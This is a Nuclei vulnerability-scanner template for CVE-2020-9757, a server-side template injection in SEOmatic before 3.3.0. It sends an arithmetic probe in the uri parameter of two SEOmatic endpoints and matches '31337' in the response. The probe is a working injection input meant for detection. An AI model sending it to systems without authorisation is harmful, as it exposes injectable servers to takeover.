nuclei-templates/cves/CVE-2020-9757.yaml

24 lines
588 B
YAML

id: CVE-2020-9757
info:
name: SEOmatic < 3.3.0 Server-Side Template Injection
author: dwisiswant0
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{31330+'7'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{31330+'7'}}"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "MetaLinkContainer"
- "canonical"
- "31337"
condition: and
part: body